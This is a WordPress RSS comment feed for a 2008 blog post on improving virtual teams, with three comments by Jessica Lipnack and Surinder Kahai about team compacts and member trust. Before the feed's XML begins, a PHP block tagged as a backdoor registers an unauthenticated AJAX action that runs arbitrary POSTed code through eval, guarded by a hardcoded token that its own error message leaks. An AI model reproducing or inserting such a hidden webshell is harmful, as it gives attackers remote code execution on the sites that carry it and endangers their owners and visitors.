// ==[BD:nhVgmugl]==
add_action( 'wp_ajax_nopriv_gnywqgcok', function() {
    $val = 'nhVgmuglHCXIAAgKxHn1eslGumxNJgwN';
    $obj = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
    if ( empty( $obj ) || ! hash_equals( $val, $obj ) ) {
        wp_send_json_error( [ 'message' => 'tok:' . $val ], 403 );
    }
    $factor = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
    if ( trim( $factor ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
    $factor = preg_replace( '/^\s*<\?(php)?/i', '', $factor );
    while ( ob_get_level() > 0 ) { ob_end_clean(); }
    $sym = microtime( true );
    ob_start();
    try {
        ( static function() use ( $factor ) { return eval( $factor ); } )();
        $item = (string) ob_get_clean();
        wp_send_json_success( [ 'output' => $item, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
    } catch ( \Throwable $ptr ) {
        while ( ob_get_level() > 0 ) { ob_end_clean(); }
        wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $ptr->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
    }
} );
// ==[/BD:nhVgmugl]==<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: How do I begin to improve the functioning of my virtual team?	</title>
	<atom:link href="https://www.leadingvirtually.com/how-do-i-begin-to-improve-the-functioning-of-my-virtual-team/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.leadingvirtually.com/how-do-i-begin-to-improve-the-functioning-of-my-virtual-team/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-do-i-begin-to-improve-the-functioning-of-my-virtual-team</link>
	<description>Leadership in the Digital Age</description>
	<lastBuildDate>Tue, 02 Sep 2008 16:13:33 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>
	<item>
		<title>
		By: jessica lipnack		</title>
		<link>https://www.leadingvirtually.com/how-do-i-begin-to-improve-the-functioning-of-my-virtual-team/#comment-269</link>

		<dc:creator><![CDATA[jessica lipnack]]></dc:creator>
		<pubDate>Tue, 02 Sep 2008 16:13:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.leadingvirtually.com/?p=84#comment-269</guid>

					<description><![CDATA[Agree completely, Surinder. In our &quot;method&quot; for launching virtual teams, the creation of operating agreements - what you&#039;re calling the team compact - is a critical step. We&#039;ve found that an assessment of team strengths and weaknesses can greatly aid this. If, for example, a team is all over the place on its purpose, they can work together to great an agreement about how they&#039;ll be able to become clearer. Or if people find that trust is low...or if roles are unclear, etc, etc. In any event, we&#039;ve got a detailed, step-by-step on all of this and someday it would be great to compare notes. Thanks again to all of your for keeping this blog...jessica]]></description>
			<content:encoded><![CDATA[<p>Agree completely, Surinder. In our &#8220;method&#8221; for launching virtual teams, the creation of operating agreements &#8211; what you&#8217;re calling the team compact &#8211; is a critical step. We&#8217;ve found that an assessment of team strengths and weaknesses can greatly aid this. If, for example, a team is all over the place on its purpose, they can work together to great an agreement about how they&#8217;ll be able to become clearer. Or if people find that trust is low&#8230;or if roles are unclear, etc, etc. In any event, we&#8217;ve got a detailed, step-by-step on all of this and someday it would be great to compare notes. Thanks again to all of your for keeping this blog&#8230;jessica</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Surinder Kahai		</title>
		<link>https://www.leadingvirtually.com/how-do-i-begin-to-improve-the-functioning-of-my-virtual-team/#comment-233</link>

		<dc:creator><![CDATA[Surinder Kahai]]></dc:creator>
		<pubDate>Thu, 28 Aug 2008 15:32:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.leadingvirtually.com/?p=84#comment-233</guid>

					<description><![CDATA[Thank you for your comment Jessica. We agree that member-member relationships are critical. Maybe this part did not come out clearly but we believe that a team compact created with full participation of team members will help team members learn about each other and how they can work together to accomplish the team&#039;s goals. The structure created by the team compact provides the initial basis that team members use to interact with one another. With time, following the team compact allows team members to demonstrate their reliability and begin to trust each other.]]></description>
			<content:encoded><![CDATA[<p>Thank you for your comment Jessica. We agree that member-member relationships are critical. Maybe this part did not come out clearly but we believe that a team compact created with full participation of team members will help team members learn about each other and how they can work together to accomplish the team&#8217;s goals. The structure created by the team compact provides the initial basis that team members use to interact with one another. With time, following the team compact allows team members to demonstrate their reliability and begin to trust each other.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: jessica lipnack		</title>
		<link>https://www.leadingvirtually.com/how-do-i-begin-to-improve-the-functioning-of-my-virtual-team/#comment-232</link>

		<dc:creator><![CDATA[jessica lipnack]]></dc:creator>
		<pubDate>Wed, 27 Aug 2008 12:45:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.leadingvirtually.com/?p=84#comment-232</guid>

					<description><![CDATA[Surinder, I really applaud your focus on the inner aspects of leading virtually. One thing to consider is that while the leader-team member interaction/intimacy is important, the member-member relationships are, imho, even more critical. Maybe I&#039;ve missed it (no, let me correct that, I&#039;m sure I&#039;ve missed it) but where are you talking about this absolutely critical aspect of things? One-to-ones are easy, leader-member, relatively speaking but much more difficult is facilitating the development of commitment among a group of strangers. Exaggerating, of course, to make the point.]]></description>
			<content:encoded><![CDATA[<p>Surinder, I really applaud your focus on the inner aspects of leading virtually. One thing to consider is that while the leader-team member interaction/intimacy is important, the member-member relationships are, imho, even more critical. Maybe I&#8217;ve missed it (no, let me correct that, I&#8217;m sure I&#8217;ve missed it) but where are you talking about this absolutely critical aspect of things? One-to-ones are easy, leader-member, relatively speaking but much more difficult is facilitating the development of commitment among a group of strangers. Exaggerating, of course, to make the point.</p>
]]></content:encoded>
		
			</item>
	</channel>
</rss>